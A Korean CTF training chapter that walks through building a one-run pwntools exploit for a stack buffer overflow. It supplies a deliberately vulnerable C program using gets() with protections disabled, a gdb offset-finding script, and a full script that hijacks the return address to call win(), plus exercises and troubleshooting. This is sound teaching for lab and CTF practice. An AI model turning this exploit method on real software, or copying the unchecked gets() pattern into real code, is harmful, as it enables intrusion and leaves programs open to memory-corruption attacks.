Step 189. ★ 미니 프로젝트: 오버플로우 익스플로잇 스크립트 완성 — 손 공격을 공학으로
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 186(버퍼 오버플로우 재현)에서 손으로 오프셋을 재서 RET를 덮어 봤고, Step 188(pwntools 입문)의
p64·sendline을 쓸 수 있다.
- 준비물: WSL(Ubuntu) + gcc + gdb + 파이썬 가상환경의 pwntools. Step 186에서 쓴 취약 바이너리가 있으면 그대로 씁니다.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 주의: 오늘 만드는 스크립트는 "실행 한 번으로 끝나는 익스플로잇"입니다. 내 바이너리·내 CTF 문제에만 돌리세요.
Step 186에서 여러분은 오프셋을 손으로 쟀습니다. 8바이트씩 늘려 가며 크래시를 보고, 계산기로 거리를 세고. 한 문제를 푸는 데 그 과정이 매번 반복된다면? 실전에서는 그 일을 프로그램이 하게 만듭니다. 겹치지 않는 패턴을 쏘고, 크래시 순간의 값을 읽어, 오프셋을 자동 계산하고, 페이로드를 조립해 꽂는 것까지 — 이 전 과정이 한 파일에 들어가는 순간, 여러분의 공격은 "손재주"에서 "공학"이 됩니다. 오늘이 그 날입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
cyclic()패턴의 원리(겹치지 않는 조각의 나열)를 설명한다- 크래시 순간의 덮인 리턴 주소를 gdb로 읽어
cyclic_find()로 오프셋을 자동 계산한다 - 오프셋 탐색 → 페이로드 조립 → 전송 → 결과 검증의 4단 구조로 익스플로잇 스크립트를 완성한다
- 완성 스크립트를 로컬 프로세스 대상으로 실행해
win()호출을 검증한다 - pwntools의 코어 덤프 방식이 WSL에서 실패하는 이유와 우회법을 설명한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | WSL Ubuntu + gcc + gdb 15, 파이썬 venv의 pwntools 4.15 |
| 오늘의 함수·명령 | cyclic(200), cyclic_find(값), flat(...), p64(주소), ELF("./vuln").symbols, gdb -batch -x 스크립트 |
| 필요한 개념 | 패턴 오프셋 계산, 스택 프레임 복습(Step 185), non-canonical 주소, 코어 덤프 |
| 오늘의 산출물 | exploit189.py — 실행 한 번으로 오프셋 계산부터 플래그 출력까지 끝나는 완성형 스크립트 |
2-1. 왜 자동화인가 — 손 계산의 세 가지 약점
Step 186의 수작업은 배울 때는 훌륭하지만, 실전에서는 세 가지가 문제입니다. 첫째, 느립니다 — 8바이트씩 늘리는 시행착오에 수십 분. 둘째, 틀립니다 — 사람은 오프바이원(off-by-one, 한 칸 어긋남)을 자주 저지릅니다. 셋째, 재사용이 안 됩니다 — 바이너리가 바뀌면 처음부터 다시.
자동화 스크립트는 이 세 가지를 한꺼번에 해결합니다. 그리고 CTF에서 바이너리가 갱신되거나, 원격 서버의 환경이 살짝 다를 때 스크립트는 몇 줄 고쳐 다시 돌리면 됩니다.
2-2. cyclic 패턴 — "여기가 몇 번째인지"가 새겨진 물줄기
cyclic(200)은 200바이트의 특별한 문자열을 만듭니다. 겉보기엔 aaaabaaacaaadaaa... 같은 무작위 나열이지만, 4바이트(또는 8바이트) 단위의 조각이 전부 다르게 배열돼 있습니다. 덕분에 크래시 현장에서 발견된 값 — 예: 0x6161617461616173 — 이 패턴의 몇 바이트째였는지 역추적할 수 있습니다.
이 값이 리턴 주소 슬롯에 있었다면, "버퍼 시작부터 리턴 주소까지의 거리 = 그 조각의 위치"입니다. 이 역추적 함수가 cyclic_find()입니다. 자를 필요 없이 눈금이 새겨진 자를 갖다 대는 셈입니다.
2-3. 크래시 현장을 읽는 두 가지 방법
- 코어 덤프: 프로세스가 죽을 때 메모리 전체를 파일로 남깁니다. pwntools의
p.corefile이 이 파일을 읽어 레지스터를 꺼냅니다. 표준적인 방법이지만 WSL에서는 기본적으로 코어 파일이 생기지 않습니다 (6장의 벽 1 참고). - gdb 경유: 디버거가 크래시 직전에 멈춰 주므로, 레지스터와 스택을 그 자리에서 읽으면 됩니다. 오늘 우리가 쓸 방법입니다.
2-4. x86-64의 함정 — non-canonical 주소
64비트 리눅스에서 주소 값은 상위 비트가 규칙을 따라야 합니다(현실적으로 하위 48비트만 사용). 0x6161617461616173처럼 ASCII 패턴이 통째로 들어간 값은 이 규칙에 어긋나는 non-canonical 주소입니다. ret가 이런 값으로 점프하려 하면, CPU는 점프에 성공하기도 전에 ret 명령 자리에서 곧장 예외를 냅니다.
실무적 의미: 크래시 후 $rip에는 패턴이 아니라 ret 명령의 주소가 들어갑니다. 그래서 "크래시 후 RIP를 읽는" 방식은 64비트에서 통하지 않고, ret 직전에 멈춰 스택에 놓인 값(리턴 주소 슬롯)을 읽어야 합니다. 집필 환경 실측에서 정확히 이 벽에 부딪혔고, 오늘 스크립트는 이 우회를 내장하고 있습니다.
3. 따라 하기
3-1. 실험용 취약 바이너리 준비
Step 186의 바이너리가 있으면 그것을 쓰세요. 없다면 아래를 만듭니다. ~/lab/step189/vuln.c (교육용 취약 코드):
#include <stdio.h>
#include <string.h>
void win() {
printf("FLAG{offset_master_189}\n");
}
void vuln() {
char buf[64];
printf("input> ");
fflush(stdout);
gets(buf); /* 길이 검사가 없는 위험한 입력 — 오늘의 표적 */
printf("bye\n");
}
int main() {
vuln();
printf("normal exit\n");
return 0;
}
gcc -fno-stack-protector -fcf-protection=none -no-pie -o vuln vuln.c
컴파일 옵션은 Step 186~187에서 배운 그대로입니다 — 카나리 끄기(-fno-stack-protector), PIE 끄기(-no-pie)로 주소를 고정합니다. -fcf-protection=none은 최신 배포판의 CET 제어 흐름 표시를 끄는 옵션으로, 실습 환경 변수를 줄여 줍니다. 링커가 the `gets' function is dangerous and should not be used라고 경고하는데, 그 경고가 오늘의 공격 대상 그 자체입니다.
3-2. 오프셋 탐색 보조 — gdb 스크립트
익스플로잇 스크립트가 내부에서 만들어 쓰는 gdb 스크립트입니다. 먼저 손으로 한 번 돌려 보며 원리를 확인합니다.
find_offset.gdb:
break *vuln+77
run < pattern.txt
printf "SLOT=0x%lx\n", *(unsigned long *)$rsp
의미: ① vuln 함수의 ret 명령에 브레이크포인트를 겁니다. ② pattern.txt를 표준 입력으로 실행합니다. ③ 멈춘 순간, 스택 꼭대기($rsp)에는 곧 ret가 집어 갈 값 — 즉 패턴의 어느 조각 — 이 놓여 있습니다. 그것을 출력합니다.
브레이크포인트 위치 vuln+77은 환경마다 다릅니다. gdb -batch -ex "disassemble vuln" ./vuln으로 ret의 오프셋을 확인하고 맞추세요 (집필 환경에서는 ret가 +77이었습니다).
3-3. 완성형 익스플로잇 스크립트
exploit189.py:
#!/usr/bin/env python3
"""오버플로우 익스플로잇 완성형 — 오프셋 자동 탐색부터 win() 호출까지."""
from pwn import *
import subprocess, re
context.binary = elf = ELF("./vuln")
context.log_level = "error"
WIN = elf.symbols["win"]
print(f"[+] win() 주소: {hex(WIN)}")
# --- 1단계: 겹치지 않는 패턴 전송 -> 크래시 유발 ---
pattern = cyclic(200)
with open("pattern.txt", "wb") as f:
f.write(pattern + b"\n")
# gdb로 ret 직전에 멈춰, 덮인 리턴 주소 슬롯의 값을 읽는다.
with open("find_offset.gdb", "w") as f:
f.write("break *vuln+77\n")
f.write("run < pattern.txt\n")
f.write('printf "SLOT=0x%lx\\n", *(unsigned long *)$rsp\n')
gdb_out = subprocess.run(
["gdb", "-batch", "-x", "find_offset.gdb", "./vuln"],
capture_output=True, text=True).stdout
slot = int(re.search(r"SLOT=(0x[0-9a-f]+)", gdb_out).group(1), 16)
print(f"[+] 덮인 리턴 주소 슬롯 값: {hex(slot)}")
# --- 2단계: 오프셋 자동 계산 ---
offset = cyclic_find(slot)
print(f"[+] 오프셋 자동 계산 결과: {offset} 바이트")
assert offset > 0, "패턴에서 슬롯 값을 찾지 못함"
# --- 3단계: 페이로드 조립 -> 전송 ---
payload = flat([b"A" * offset, p64(WIN)])
p2 = process(["./vuln"])
p2.sendlineafter(b"input>", payload)
out = p2.recvall(timeout=3).decode(errors="replace")
print("[+] 익스플로잇 출력:")
print(out)
# --- 4단계: 결과 검증 ---
assert "FLAG{" in out, "win()이 호출되지 않았다"
print("[+] 성공: 오프셋 계산 ~ win 호출 완료")
구조를 눈여겨보세요. 탐색(1~2단계)과 공격(3~4단계)이 한 파일에 있습니다. 이것이 "완성형"의 의미입니다 — 사람이 중간에 숫자를 옮겨 적지 않습니다.
3-4. 실행 — 한 번에 끝
./.venv/bin/python exploit189.py
출력 (2026-09-09 실측, WSL Ubuntu 24.04, pwntools 4.15.0):
[+] win() 주소: 0x401156
[+] 덮인 리턴 주소 슬롯 값: 0x6161617461616173
[+] 오프셋 자동 계산 결과: 72 바이트
[+] 익스플로잇 출력:
bye
FLAG{offset_master_189}
[+] 성공: 오프셋 계산 ~ win 호출 완료
읽는 법: 슬롯 값 0x6161617461616173은 리틀 엔디언으로 saaataaa — 패턴의 한 조각입니다. cyclic_find()가 이 조각의 위치를 계산해 72바이트라고 답했습니다. Step 186에서 손으로 재던 그 거리를 기계가 1초 만에 찾았고, 이어서 b"A"*72 + p64(win)이 조립돼 win()이 실행됐습니다.
bye가 먼저 보이는 이유: vuln()이 끝나며 printf("bye\n")를 찍고 나서야 덮인 리턴 주소로 점프하기 때문입니다. 그리고 win()이 플래그를 찍은 뒤 win의 리턴 주소는 쓰레기 값이라 뒤이어 SEGV가 나지만 — 플래그는 이미 나왔으니 우리의 승리입니다. (출력이 파이프 버퍼에 갇혀 안 보이는 함정이 있습니다. 6장 벽 3 참고.)
3-5. 원격으로 확장하기 — 바꿔야 할 것은 연결뿐
완성형 스크립트의 진짜 힘은 구조의 재사용입니다. 원격 대상(Step 177 같은 CTF 서버)으로 바꿀 때 달라지는 것은 두 군데뿐입니다.
# 로컬: p2 = process(["./vuln"])
# 원격: p2 = remote("문제서버주소", 포트번호)
주의할 점: 원격에서는 오프셋 탐색 단계를 서버에서 돌릴 수 없습니다 — 서버의 메모리를 gdb로 들여다볼 수 없으니까요. 그래서 실전 워크플로우는 "로컬에서 같은 바이너리로 오프셋을 구하고, 원격에는 공격 단계만 보낸다"입니다. CTF에서 문제 바이너리를 함께 나눠 주는 이유가 여기 있습니다.
4. 미션과 연습문제
미션 — 나만의 완성형 익스플로잇
- 3-3의 스크립트를 여러분 환경에 맞게 완성합니다 —
ret오프셋(vuln+N)을 여러분의 디스어셈블 결과로 교체하는 것부터. - 버퍼 크기를 바꾼 두 번째 바이너리(예:
char buf[40])를 만들고, 스크립트를 고치지 않고도 오프셋이 자동으로 다르게 계산되는지 확인합니다. - 스크립트에 마지막 검증 단계를 추가합니다 — 플래그 정규식(
FLAG\{[^}]+\})으로 추출해 파일에 저장하기. - 위키에
익스플로잇공학.md— cyclic의 원리, 4단 구조, "로컬 탐색 / 원격 공격" 분리의 이유를 정리합니다.
연습문제
문제 1. cyclic(200)의 출력이 오프셋 계산에 쓸 수 있는 이유를 "조각의 유일성" 관점에서 설명해 보세요.
문제 2. 64비트에서 크래시 후 $rip를 읽는 방식이 실패하는 이유를 non-canonical 주소 개념으로 설명해 보세요. 우리 스크립트는 어떻게 우회했나요?
문제 3. 실측에서 오프셋이 72로 나왔습니다. 버퍼가 char buf[64]인데 왜 64가 아니라 72인지, 스택 프레임 구조(Step 185)로 설명해 보세요.
문제 4. 원격 서버 대상으로 바꿀 때 오프셋 탐색 단계가 그대로 쓸 수 없는 이유와, 실전에서의 해결 순서를 말해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
검증하는 법: ① 스크립트 한 번 실행으로 오프셋 숫자와 플래그가 함께 출력되는가 (집필 환경 기준: 오프셋 자동 계산 결과: 72 바이트 → FLAG{offset_master_189}). ② buf[40]으로 바꾼 바이너리에서 코드 수정 없이 오프셋이 48(40+8)로 계산되는가 — 자동화의 증명입니다. ③ 플래그가 파일에 저장되는가. ④ 정리 문서에 "탐색은 로컬, 공격은 원격" 문장이 있는가.
ret 오프셋을 찾는 팁: disassemble vuln의 출력 맨 아래에서 ret 왼쪽의 <+N> 숫자를 읽으면 됩니다.
연습문제 해답
문제 1 해답. cyclic 패턴은 4바이트(또는 8바이트) 조각이 한 번씩만 등장하도록 배열됩니다. 그래서 크래시 현장의 값 하나만 알면 그 조각이 패턴의 몇 바이트째인지가 유일하게 결정되고, 그 위치가 곧 버퍼 시작점부터의 거리(오프셋)입니다. 조각이 겹치면 위치가 여러 개로 갈려 역추적이 불가능합니다.
문제 2 해답. ASCII 패턴 값(예: 0x6161617461616173)은 x86-64의 canonical 주소 규칙에 어긋나므로, ret가 그 주소로 점프하기 전에 CPU가 ret 명령 자리에서 곧장 예외를 냅니다. 따라서 크래시 후 $rip에는 패턴이 아니라 ret의 주소가 남습니다. 우리는 ret 직전에 브레이크포인트를 걸어, 아직 스택에 놓여 있는 슬롯 값(*$rsp)을 읽는 것으로 우회했습니다.
문제 3 해답. 스택에는 버퍼(64바이트) 위에 저장된 rbp(8바이트)가 먼저 있고, 그 다음이 리턴 주소입니다. 따라서 리턴 주소까지의 거리는 64 + 8 = 72바이트입니다. Step 185의 스택 프레임 그림 그대로입니다.
문제 4 해답. 오프셋 탐색에는 크래시 현장의 메모리 읽기(gdb 또는 코어 덤프)가 필요한데, 원격 서버의 메모리는 볼 수 없습니다. 그래서 실전에서는 ① 문제에서 배포된 같은 바이너리를 로컬에서 분석해 오프셋과 주소들을 구하고, ② 원격에는 완성된 페이로드만 보냅니다. CTF가 바이너리를 함께 주는 이유입니다.
완료 기준 체크리스트
- [ ]
cyclic()패턴이 왜 오프셋 계산에 쓰이는지 한 문장으로 말할 수 있다 - [ ] non-canonical 주소 때문에 크래시 후 RIP 대신 스택 슬롯을 읽어야 함을 설명할 수 있다
- [ ]
exploit189.py를 실행해 오프셋 자동 계산(72)과 플래그 출력을 확인했다 - [ ] 버퍼 크기를 바꿔도 스크립트 수정 없이 오프셋이 다시 계산됨을 확인했다
- [ ] 로컬 탐색 / 원격 공격의 분리 이유를 말할 수 있다
- [ ] 미션: 완성형 스크립트 + 플래그 저장 + 위키 정리를 마쳤다
6. 흔한 실수와 해결
벽 1. p.corefile이 "Could not find core file" 오류를 내요
증상 (집필 환경 실측):
pwnlib.exception.PwnlibException: Could not find core file for pid 890
원인: WSL은 코어 덤프를 파일로 쓰지 않고 /wsl-capture-crash라는 파이프로 넘깁니다 (cat /proc/sys/kernel/core_pattern → |/wsl-capture-crash %t %E %p %s). 그래서 pwntools가 디스크에서 코어를 찾지 못합니다.
해결: 시스템 설정을 바꾸지 말고 3-3처럼 gdb 경유로 오프셋을 구하세요. gdb는 크래시 순간에 프로세스를 붙잡고 있으므로 코어 파일 없이 레지스터·스택을 읽을 수 있습니다.
벽 2. 크래시는 나는데 RIP가 패턴 값이 아니에요
증상 (집필 환경 실측): gdb가 이렇게 보고합니다.
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011b9 in vuln ()
0x4011b9는 vuln 안의 ret 명령 주소입니다 — 패턴(0x6161...)이 아닙니다.
원인: 2-4의 non-canonical 주소입니다. 패턴이 통째로 들어간 값은 유효한 주소가 아니라서, CPU가 점프를 완료하지 못하고 ret 자리에서 예외를 냅니다.
해결: ret 직전에 브레이크포인트를 걸고 스택 슬롯(*$rsp)을 읽으세요. 크래시 "후"가 아니라 크래시 "전"을 보는 것이 64비트 오프셋 탐색의 정석입니다.
벽 3. win()을 분명 호출했는데 플래그가 안 보여요
증상: 페이로드를 보냈는데 출력이 input> 뿐이고 프로세스가 죽습니다.
원인: win() 실행 후 그것의 리턴 주소는 쓰레기 값이라 곧 SEGV가 납니다. 이때 표준 출력이 파이프로 연결돼 있으면 printf 출력이 버퍼에 갇힌 채 flush되지 못하고 사라집니다. 집필 환경에서 진단용 바이너리(시그널 핸들러가 exit를 호출)로 확인했더니 플래그는 정상 출력돼 있었습니다 — 공격은 성공했는데 출력이 유실된 것이었습니다.
해결: win()의 printf 뒤에 fflush(stdout)을 넣는 것이 가장 확실합니다. 이 챕터의 실측에서는 recvall이 프로세스 종료까지 기다리는 사이 파이프가 닫히며 버퍼가 밀려 나와 플래그가 보였지만, 환경에 따라 유실될 수 있습니다. "분명 성공인데 출력이 없다"면 공격보다 버퍼링을 먼저 의심하세요.
벽 4. break *vuln+77에서 "Cannot access memory" 또는 브레이크가 안 걸려요
원인: 오프셋 +77은 집필 환경의 값입니다. 컴파일러 버전, 최적화, 소스 한 줄 차이로 ret의 위치는 달라집니다.
해결: gdb -batch -ex "disassemble vuln" ./vuln의 맨 아래에서 ret 행의 <+N>을 읽어 교체하세요. "스크립트가 안 되면 먼저 눈으로 디스어셈블"이 이 단계의 철칙입니다.
벽 5. pwntools import가 느리거나 venv가 헷갈려요
증상: ModuleNotFoundError: No module named 'pwn'.
원인: 시스템 파이썬과 venv 파이썬을 섞어 쓰고 있습니다.
해결: python3 -m venv .venv로 만든 뒤 항상 ./.venv/bin/python exploit189.py로 실행하세요. pwntools는 venv 안에만 깔려 있습니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| cyclic 패턴 | 4/8바이트 조각이 겹치지 않는 문자열 — 크래시 값에서 오프셋 역추적 |
cyclic_find() |
패턴 조각 값 → 오프셋 숫자로 변환하는 pwntools 함수 |
| non-canonical 주소 | x86-64에서 상위 비트 규칙에 어긋나는 주소 — ret 자리에서 즉시 예외 |
| 코어 덤프 | 크래시 시 메모리 스냅샷 — WSL에서는 파이프 처리돼 파일이 안 생김 |
| 완성형 익스플로잇 | 탐색 → 조립 → 전송 → 검증 4단이 한 파일에 담긴 스크립트 |
| 로컬 탐색 / 원격 공격 | 오프셋은 로컬의 같은 바이너리에서 구하고, 원격엔 페이로드만 보내는 실전 워크플로우 |
오늘의 명령어와 함수
| 명령·함수 | 하는 일 |
|---|---|
cyclic(200) |
200바이트의 유일 조각 패턴 생성 |
cyclic_find(0x61616174...) |
패턴 값 → 오프셋 계산 |
flat([b"A"*72, p64(WIN)]) |
패딩 + 주소의 페이로드 조립 |
ELF("./vuln").symbols["win"] |
바이너리에서 심볼 주소 추출 |
gdb -batch -x find_offset.gdb ./vuln |
스크립트로 자동 디버깅 |
break *vuln+77 |
ret 직전에 브레이크포인트 |
printf "...", *(unsigned long *)$rsp |
스택 슬롯의 덮인 값 출력 |
명령어보다 중요한 감각
오늘의 진짜 수확은 함수 이름이 아니라 구조입니다. 좋은 익스플로잇은 "돌아가는 코드"가 아니라 "검증하는 코드"입니다 — 각 단계가 중간값을 출력하고, 마지막에 성공 여부를 스스로 검사합니다. 그리고 하나 더: 자동화는 원리를 대신하지 않습니다. 오프셋 72가 왜 72인지, 왜 스택 슬롯을 읽어야 하는지를 모르면, 스크립트가 실패했을 때 고칠 수 없습니다. 기계가 빠른 만큼, 실패도 빠릅니다 — 원리를 아는 사람만 그 실패를 읽을 수 있습니다.
전부 체크되면 Step 189 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.